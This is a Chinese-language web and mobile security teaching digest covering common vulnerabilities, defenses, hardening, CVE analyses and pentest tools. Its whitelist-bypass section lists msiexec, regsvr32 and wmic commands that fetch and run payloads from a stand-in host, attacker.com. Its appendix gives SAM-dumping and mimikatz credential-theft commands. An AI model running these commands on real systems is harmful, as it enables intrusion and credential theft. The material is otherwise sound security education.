专注Web及移动安全[红日安全82期]
字数 2510 2025-08-18 11:38:36
Web及移动安全综合教学文档
一、认证安全问题总结
-
常见认证漏洞类型:
- 弱密码策略
- 密码明文传输
- 会话固定攻击
- 会话超时设置不当
- 多因素认证绕过
- CSRF防护缺失
- JWT实现缺陷
-
防护措施:
- 实施强密码策略(长度、复杂度、定期更换)
- 使用HTTPS传输认证信息
- 会话令牌随机化、加密
- 设置合理的会话超时时间
- 实现完整的CSRF防护机制
- 正确实现JWT签名验证
二、Web安全攻防解析
1. SQL注入
- 攻击方式:通过构造恶意SQL语句绕过认证或获取数据
- 防御措施:
- 使用参数化查询
- 实施最小权限原则
- 输入验证和过滤
- 使用ORM框架
2. XSS(跨站脚本)
- 类型:
- 存储型XSS
- 反射型XSS
- DOM型XSS
- 防御措施:
- 输出编码
- 内容安全策略(CSP)
- HttpOnly Cookie标志
- 输入验证和过滤
3. CSRF(跨站请求伪造)
- 攻击原理:利用用户已认证状态执行非预期操作
- 防御措施:
- 使用CSRF Token
- 检查Referer头
- 关键操作二次认证
4. 文件上传漏洞
- 攻击方式:上传恶意文件获取服务器控制权
- 防御措施:
- 文件类型白名单验证
- 文件内容检查
- 随机化文件名
- 存储在非Web目录
5. 反序列化漏洞
- 典型案例:WebLogic反序列化漏洞(CVE-2019-2725)
- 防御措施:
- 避免反序列化不可信数据
- 使用安全的序列化格式(如JSON)
- 实施严格的类型检查
6. 目录遍历
- 攻击方式:通过../等特殊字符访问系统文件
- 防御措施:
- 规范化路径
- 实施访问控制
- 使用安全的文件API
三、渗透测试技术
1. 白名单绕过技术
-
Msiexec执行Payload
- 技术要点:利用Windows安装程序执行恶意代码
- 命令示例:
msiexec /q /i http://attacker.com/evil.msi
-
Regsvr32执行Payload
- 技术要点:利用COM组件注册功能执行脚本
- 命令示例:
regsvr32 /s /n /u /i:http://attacker.com/evil.sct scrobj.dll
-
Wmic执行Payload
- 技术要点:利用Windows管理工具执行远程XSL脚本
- 命令示例:
wmic os get /format:"http://attacker.com/evil.xsl"
-
Rundll32执行Payload
- 技术要点:利用DLL加载机制执行代码
- 命令示例:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe");
2. 渗透测试工具
-
sshLooter - SSH密码记录工具
- 功能:记录SSH登录凭据
- 使用场景:后渗透阶段收集凭证
-
Pupy - 全平台远程控制工具
- 特点:跨平台、内存驻留、支持多种传输协议
- 功能:远程控制、凭证窃取、键盘记录
-
Pythem - Python网络/渗透测试工具
- 功能:中间人攻击、网络嗅探、协议分析
-
Dirmap - 高级Web目录扫描工具
- 特点:支持多种检测算法
- 功能:目录爆破、敏感文件发现
四、代码审计要点
1. PHP反序列化漏洞
- 漏洞原理:当unserialize()函数处理用户可控数据时可能触发对象注入
- 危险函数:
- unserialize()
- magic方法(__wakeup, __destruct等)
- 利用方式:
- 注入恶意对象执行任意代码
- 利用POP链(Property-Oriented Programming)
- 防御措施:
- 避免反序列化用户输入
- 使用JSON等安全格式交换数据
- 实现严格的类型检查
2. 弱类型比较问题
- 典型案例:
if($_GET['password'] == 'admin123') { // 认证通过 }- 攻击者可通过
password=0绕过
- 攻击者可通过
- 防御措施:
- 使用===严格比较
- 类型转换后比较
- 使用hash_equals()比较哈希值
五、系统安全加固
1. Windows安全加固
-
账户策略:
- 禁用Guest账户
- 重命名Administrator账户
- 设置强密码策略
-
服务加固:
- 禁用不必要的服务
- 设置服务最小权限
-
日志审计:
- 启用安全审计策略
- 集中管理日志
-
补丁管理:
- 定期安装安全更新
- 关注0day漏洞公告
2. Linux安全加固
-
账户安全:
- 禁用root远程登录
- 使用sudo分配权限
- 设置umask 027
-
服务安全:
- 禁用不必要的服务
- 使用防火墙限制访问
-
文件系统安全:
- 设置关键文件权限
- 使用chattr防止篡改
-
内核加固:
- 启用SELinux/AppArmor
- 配置sysctl安全参数
六、漏洞复现与分析
1. WebLogic反序列化漏洞(CVE-2019-2725)
- 漏洞描述:WebLogic wls9-async组件存在反序列化漏洞
- 影响版本:10.3.6.0, 12.1.3.0
- 利用方式:
- 构造恶意序列化数据
- 通过异步通信服务发送
- 触发反序列化执行任意代码
- 修复方案:
- 安装官方补丁
- 禁用wls9-async组件
- 限制访问路径
2. Atlassian Confluence漏洞
- 漏洞类型:目录穿越+远程代码执行
- 利用链:
- 通过Widget Connector插件的目录穿越读取配置文件
- 获取Confluence安装信息
- 构造恶意请求执行代码
- 修复方案:
- 升级到安全版本
- 限制插件权限
- 实施网络隔离
七、安全意识提升
-
六个提升方向:
- 定期安全培训
- 模拟钓鱼测试
- 安全知识竞赛
- 建立报告机制
- 安全绩效考核
- 持续安全宣传
-
等保2.0应对:
- 理解新标准变化
- 开展差距分析
- 制定整改计划
- 准备测评材料
八、安全监控与响应
-
日志分析要点:
- 异常登录行为
- 敏感操作记录
- 系统错误信息
- 性能异常指标
-
应急响应流程:
- 事件确认
- 影响评估
- 遏制措施
- 根除恢复
- 事后复盘
九、附录:实用命令速查
-
Windows渗透命令:
# 转储SAM哈希 reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save # 抓取密码哈希 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit -
Linux取证命令:
# 查看登录记录 last -a # 检查异常进程 ps auxf # 检查网络连接 netstat -antup -
Web漏洞检测:
# SQL注入测试 sqlmap -u "http://example.com?id=1" --risk=3 --level=5 # XSS检测 xsstrike.py -u "http://example.com/search?q=test"